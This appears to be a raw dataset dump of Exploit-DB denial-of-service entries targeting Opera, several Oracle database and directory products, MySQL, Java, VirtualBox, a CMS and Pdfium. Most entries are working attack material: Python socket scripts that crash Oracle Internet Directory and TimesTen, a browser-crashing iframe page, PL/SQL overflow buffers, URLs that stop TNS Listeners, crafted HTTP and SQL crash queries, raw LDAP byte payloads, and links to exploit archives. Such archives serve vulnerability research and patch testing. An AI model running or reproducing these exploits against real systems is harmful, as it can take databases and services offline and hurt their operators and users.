deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1972
Description: Opera Web Browser 9.00 - 'iframe' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-07-01
Author: y3dips

Exploit:
<!-- Opera 9 DOS exploit, discovered by 
     Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) 
     http://y3d1ps.blogspot.com
//-->

<html>
<iframe src="palsu.php" name="fake"  ></iframe> 
<script type="text/javascript">
function mystyle() {
    if (fake.document.styleSheets.length == 1 ) 
	{
      f = document.forms["basicstyle"].elements;
      for (j = 0; j < f.length; j++) 
	  	{
       	if (f[j].name == 'fsmain');
      	}  
      }

 }
mystyle();
</script>
</html>

<!-- live exploit :
     http://y3dips.echo.or.id/opera9-dos/
//-->

# milw0rm.com [2006-07-01]
Exploit-DB #31148
Description: Opium OPI Server and CyanPrintIP - Format String / Denial of Service
Type: dos
Platform: multiple
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27734/info

Opium OPI Server and CyanPrintIP are prone to a denial-of-service vulnerability and a format-string vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

These issues affect the following products:

Opium OPI Server 4.10.1028 and prior
cyanPrintIP Easy OPI 4.10.1028 and prior
cyanPrintIP Professional 4.10.1030 and prior
cyanPrintIP Workstation 4.10.936 and prior
cyanPrintIP Standard 4.10.940 and prior
cyanPrintIP Basic 4.10.1030 and prior

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31148.zip
Exploit-DB #28293
Description: Oracle 10g - Alter Session Integer Overflow
Type: dos
Platform: multiple
Date: 2006-07-27
Author: putosoft softputo

Exploit:
source: https://www.securityfocus.com/bid/19201/info

Oracle 10g is reportedly prone to a integer-overflow vulnerability because the application fails to allocate a large enough data type to accommodate user-supplied input before using it in a query. This issue has not been confirmed.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely cause denial-of-service conditions.

Reports indicate that Oracle 10g R2 is vulnerable; other versions may also be affected.

Connect with any user with only CREATE SESSION
SQL> alter session set events '10046 trace name context forever, level 16';
Exploit-DB #4997
Description: Oracle 10g R1 - xdb.xdb_pitrig_pkg Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-01-28
Author: sh2kerr

Exploit:
/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE *********/
/*******                BUFFER OVERFLOW                   *********/
/******************************************************************/
/************    POC exploit , Crash database        **************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 28, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*      Advisory: http://www.oracle.com/technology/deploy/        */
/*                security/critical-patch-updates/cpujan2008.html */
/*                                                                */
/******************************************************************/
/*  thanks to oraclefun for his pitrig_dropmetadata exploit       */
/*                                                                */
/******************************************************************/


set serveroutput on
declare
     buff varchar2(32767);
     begin
      /* generate evil buffer */
      buff:='[PII_REDACTED][PII_REDACTED]23456789';
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||'[PII_REDACTED][PII_REDACTED]90123sh2kerr';
      /* lets see the buffer size */
      dbms_output.put_line('SEND EVIL BUFFER SIZE:'||Length(buff));
      xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
     end;
   /


/* P.S.      xDb.XDB_PITRIG_PKG.PITRIG_DROP is also vulnerable */


/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/

// milw0rm.com [2008-01-28]
Exploit-DB #33080
Description: Oracle 11.1 - Database Network Foundation Heap Memory Corruption
Type: dos
Platform: multiple
Date: 2009-06-14
Author: Dennis Yurichev

Exploit:
source: https://www.securityfocus.com/bid/35677/info

Oracle Database is prone to a remote heap memory-corruption vulnerability in Network Foundation.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

Successfully exploiting this issue will allow the attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33080.zip
Exploit-DB #21782
Description: Oracle 8.1.x/9.0/9.2 - TNS Listener Service_CurLoad Remote Denial of Service
Type: dos
Platform: multiple
Date: 2002-09-09
Author: Rapid 7

Exploit:
source: https://www.securityfocus.com/bid/5678/info

The Oracle TNS Listener program is a remote connectivity service for Oracle Databases.

Under some circumstances, it may be possible for a remote user to crash TNS Listener service. By connecting to the service, and issuing the SERVICE_CURLOAD command, the service becomes unstable. It has been reported that this will cause the listenering to stop responding to connections, and also crash after the command is issued.

"(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))"
Exploit-DB #26331
Description: Oracle 9.0 iSQL*Plus - TLS Listener Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-10-07
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/15032/info

Oracle iSQL*PLUS is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Database version 9.0.2.4; other versions may also be affected.

These issues was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon
Exploit-DB #23656
Description: Oracle 9.x - 'Database' / Statement Buffer Overflow
Type: dos
Platform: multiple
Date: 2003-02-05
Author: NGSSoftware

Exploit:
source: https://www.securityfocus.com/bid/9587/info

Oracle database has been reported prone to multiple buffer overflow vulnerabilities when processing certain parameters and functions. Specifically the TIME_ZONE parameter, NUMTOYMINTERVAL, NUMTODSINTERVAL and FROM_TZ functions. Excessive data passed to any of the aforementioned parameters/statements may potentially overrun the bounds of a buffer in stack-based memory. This may result in the corruption of memory adjacent to the affected buffer, and ultimately may provide for arbitrary code execution.

SELECT FROM_TZ(TIMESTAMP '2000-03-28 08:00:00','long string here') FROM DUAL;

SELECT last_name, hire_date, salary, SUM(salary) OVER (ORDER BY hire_date RANGE NUMTOYMINTERVAL(1,'<long string here>') PRECEDING) AS t_sal FROM employees;

SELECT empno, ename, hiredate, COUNT(*) OVER (PARTITION BY empno ORDER BY hiredate RANGE NUMTODSINTERVAL(100, '<long string here>') PRECEDING) AS t_count FROM emp;

ALTER SESSION SET TIME_ZONE = '<long string here>'; SELECT CURRENT_TIMESTAMP, LOCALTIMESTAMP FROM DUAL;
Exploit-DB #21911
Description: Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service
Type: dos
Platform: multiple
Date: 2002-10-06
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>
Exploit-DB #33083
Description: Oracle 9i/10g Database - TNS Command Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-14
Author: Dennis Yurichev

Exploit:
source: https://www.securityfocus.com/bid/35683/info

Oracle Database is prone to a remote vulnerability affecting the 'Listener' component.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

The attacker can exploit this issue to crash the affected application, denying service to legitimate users.

The following are vulnerable:

Oracle9i 9.2.0.8 and 9.2.0.8DV
Oracle10g 10.1.0.5 and 10.2.0.4
Oracle11g 11.1.0.7

Other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33083.zip
Exploit-DB #26336
Description: Oracle Forms - Servlet TLS Listener Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-10-07
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/15039/info

Oracle Forms is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Forms versions prior to July 2005.

This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES
Exploit-DB #33532
Description: Oracle Internet Directory 10.1.2.0.2 - 'oidldapd' Remote Memory Corruption
Type: dos
Platform: multiple
Date: 2006-11-10
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37833/info

Oracle Internet Directory is prone to a remote memory-corruption vulnerability.

Exploits may allow attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in denial-of-service conditions.

Oracle Internet Directory 10.1.2.0.2 is vulnerable; other versions may also be affected.

NOTE: This issue may be a duplicate of an existing BID and may have already been addressed by the vendor. We will update the BID if more information emerges.

s ="\x30\x82\x27\x4a\x02\x01\x01\x63\x82\x27\x43\x04\x00\x0a\x01\x02"
s+="\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\xa4\x82\x27\x2e"
s+="\x04\x04\x6d\x61\x69\x6c\x30\x82\x27\x24\x80\x04\x66\x6f\x6f\x40"
s+="\x81\x04\x75\x6e\x69\x76"
s+="\x82"*10000
s+="\x82\x06\x6d\x75\x6e\x69\x63\x68"
Exploit-DB #6101
Description: Oracle Internet Directory 10.1.4 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-07-19
Author: Joxean Koret

Exploit:
#!/usr/bin/python

"""
Oracle Internet Directory 10.1.4 preauthentication Denial Of Service

NOTES: Under 32 bits platforms it crashes immediately. Under 64 bits it may take even hours.
Sometimes you need 2 shoots to crash OID completely. The server "commonly" tolerates one
shoot, but even when you only send one packet it will crash.

Tested: Win2000 x86, WinXP x86, Win2003 X86_64

Vulnerability found by Joxean Koret (joxeankoret [ at ] yahoo DOT es)

Fixed: Oracle Critical Patch Update July 2008
CVEID: CVE-2008-2595
"""

import sys
import time
import socket

healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00"

def checkHealth(hostname, port):
    print "  --> Wating 5 seconds"
    time.sleep(5)
    
    print "  --> Connecting to target..."
    socket.setdefaulttimeout(5)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))

    try:
        print "  --> Sending 'health' packet ..."
        s.sendall(healthPacket)
        print "  --> Trying to receive something..."
        data = s.recv(1024)
    except:
        err = sys.exc_info()[1]

        if int(err[0]) == 104:
            print "[+] Exploits works!"
            return

    if data != "":
        print "[!] Server is up and running :("
    else:
        print "[?] Server doesn't answer nothing. It works?"

def oidDos(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "[+] Connecting to ldap://%s:%d..." % (hostname, port)
        s.connect((hostname, int(port)))

        print "[+] Sending packet..."
        s.sendall(packet)
        s.close()

        print "[+] Checking OID's health..."
        checkHealth(hostname, port)
    except:
        print sys.exc_info()[1]

def usage():
    print "Oracle Internet Directory 10.1.4 Remote Preauthentication DOS"
    print "Copyright (c) 2007 Joxean Koret"
    print
    print "Usage:"
    print sys.argv[0],"-h<hostname> -p<port>"
    print

def main():
    if len(sys.argv) != 3:
        usage()
        sys.exit(0)
    
    hostname = None
    port = None

    i = 0
    for param in sys.argv:
        i += 1
        
        if i == 1:
            continue
        
        if param.startswith("-h"):
            hostname = param[2:]
        elif param.startswith("-p"):
            port = int(param[2:])
        else:
            print "Unknown option '%s'" % param
            usage()
            sys.exit(1)
    
    if not hostname or not port:
        print "Bad command line."
        usage()
        sys.exit(1)

    oidDos(hostname, port)

if __name__ == "__main__":
    main()

# milw0rm.com [2008-07-19]
Exploit-DB #35304
Description: Oracle Java - Floating-Point Value Denial of Service
Type: dos
Platform: multiple
Date: 2011-02-01
Author: Konstantin Preisser

Exploit:
source: https://www.securityfocus.com/bid/46091/info

Oracle Java is prone to a remote denial-of-service vulnerability.

Successful attacks will cause applications written in Java to hang, creating a denial-of-service condition.

This issue affects both the Java compiler and Runtime Environment. 

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2[PII_REDACTED]072012e-308");
  System.out.println("Value: " + d);
 }
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2[PII_REDACTED]072012e-308;
  System.out.println("Value: " + d);
 }
}
Exploit-DB #14537
Description: Oracle MySQL - 'ALTER DATABASE' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-08-03
Author: Shane Bester

Exploit:
A vulnerability was reported in MySQL. A remote authenticated user can cause denial of service conditions.

This issue affects versions prior to MySQL 5.1.48. 

A remote authenticated user can send a specially crafted ALTER DATABASE command to cause the target server to move a data directory into a new subdirectory, causing the data directory to become unusable.

A demonstration exploit request is provided [where "<special>" is "." or ".." or is a sequence that begins with "./" or "../"]:

ALTER DATABASE `#mysql50#<special>` UPGRADE DATA DIRECTORY NAME

Vendor advisory at:

http://dev.mysql.com/doc/refman/5.1/en/news-5-1-48.html
Exploit-DB #15467
Description: Oracle MySQL < 5.1.49 - 'WITH ROLLUP' Denial of Service
Type: dos
Platform: multiple
Date: 2010-11-09
Author: Shane Bester

Exploit:
source: https://www.securityfocus.com/bid/42596/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it. 

PoC:

drop table if exists `t1`;
create table `t1`(`a` int)engine=myisam;
insert into `t1` values (1);
/*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup;
/*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a`
with rollup;
Exploit-DB #7785
Description: Oracle TimesTen - Remote Format String (PoC)
Type: dos
Platform: multiple
Date: 2009-01-14
Author: Joxean Koret

Exploit:
#!/usr/bin/python

"""
Oracle TimesTen Remote Format String (Fixed in Oracle CPU Jan 2009
Copyright (c) Joxean Koret 2009
"""

import sys
import socket

def testPoc(host):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, 17000))
	buf = "GET evtdump?msg=AAAA%25n HTTP/1.0\r\n\r\n"
	print "Sending: %s" % buf
	s.send(buf)
	print s.recv(4096)
	s.close()

if __name__ == "__main__":
	if len(sys.argv) == 1:
		print "Usage:", sys.argv[0], "<target host>"
		print
		sys.exit(1)
	else:
		testPoc(sys.argv[1])

# milw0rm.com [2009-01-14]
Exploit-DB #38595
Description: Oracle VM VirtualBox 4.0 - 'tracepath' Local Denial of Service
Type: dos
Platform: multiple
Date: 2013-06-26
Author: Thomas Dreibholz

Exploit:
source: https://www.securityfocus.com/bid/60794/info

Oracle VM VirtualBox is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the host system's network to become unusable, resulting in denial-of-service condition.

VirtualBox 4.2.12 is affected; other versions may also be vulnerable. 

tracepath 8.8.8.8
Exploit-DB #12555
Description: Pargoon CMS - Denial of Service
Type: dos
Platform: multiple
Date: 2010-05-10
Author: Pouya Daneshmand

Exploit:
#################################################################  
# Securitylab.ir
#################################################################  
# Application Info:
# Name: Pargoon
# Vendor: http://www.vestasoft.ir
#################################################################  
# Vulnerability Info:
# Type: DOS
# Risk: Medium
# 2010-01-17 - Found Vulnerability
# 2010-01-19 - Vendor notified
# 2010-05-08 - Public disclosure
#################################################################
Vulnerability:  
http://site.irPhotoGallery/General+Photos/160.jpg?Width=10000&Height=10000
With setting of large values of width and height it's possible to create
large load at the server.
#################################################################  
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.Securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################
Exploit-DB #44083
Description: Pdfium - Out-of-Bounds Read with Shading Pattern Backed by Pattern Colorspace
Type: dos
Platform: multiple
Date: 2018-02-15
Author: Google Security Research

Exploit:
Related to  issue 1490 .

When parsing ShadingPatterns; according to the specification they shouldn't be permitted to have a pattern colorspace as their base colorspace, but this is not validated, leading to out-of-bounds reads when rendering using the malformed shading pattern.

bool CPDF_ShadingPattern::Load() {

  // ... snip ...

  CPDF_Object* pCSObj = pShadingDict->GetDirectObjectFor("ColorSpace");
  if (!pCSObj)
    return false;

  // No validation here on the type of colorspace.

  // ... snip ...

  return true;
}

If we now look at the code called during rendering of this pattern, we call through DrawFreeGouraudShading (cpdf_renderstatus.cpp), which will call CPDF_MeshStream::ReadVertex for each vertex in the shading pattern, which will call CPDF_MeshStream::ReadColor.

std::tuple<float, float, float> CPDF_MeshStream::ReadColor() {
  ASSERT(ShouldCheckBPC(m_type));

  float color_value[kMaxComponents];
  for (uint32_t i = 0; i < m_nComponents; ++i) {
    color_value[i] = m_ColorMin[i] + m_BitStream->GetBits(m_nComponentBits) *
                                         (m_ColorMax[i] - m_ColorMin[i]) /
                                         m_ComponentMax;
  }

  // NB: color_value has only been initialised for the first m_nComponents elements

  float r = 0.0;
  float g = 0.0;
  float b = 0.0;
  if (m_funcs.empty()) {
    m_pCS->GetRGB(color_value, &r, &g, &b); // <-- we're interested in this call here
    return std::tuple<float, float, float>(r, g, b);
  }

  // ... snip ...
}

This call to GetRGB will be into the pattern cs

bool CPDF_PatternCS::GetRGB(float* pBuf, float* R, float* G, float* B) const {
  if (m_pBaseCS) {
    ASSERT(m_pBaseCS->GetFamily() != PDFCS_PATTERN);
    PatternValue* pvalue = (PatternValue*)pBuf;
    // pvalue->m_Comps is now pointing 5 dwords into an 8 dword sized buffer, and p_pBaseCS expects to be able to read 8 dwords from it. 
    if (m_pBaseCS->GetRGB(pvalue->m_Comps, R, G, B))
      return true;
  }
  *R = 0.75f;
  *G = 0.75f;
  *B = 0.75f;
  return false;
}

Originally reported without 90 day deadline as https://bugs.chromium.org/p/chromium/issues/detail?id=795251, since it wasn't clear that there was an easy way to use the oob-read to leak information in a way that was useful, deadline applied as of 15/12 after working out how to use this as an information leak for  issue 1489 . 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44083.zip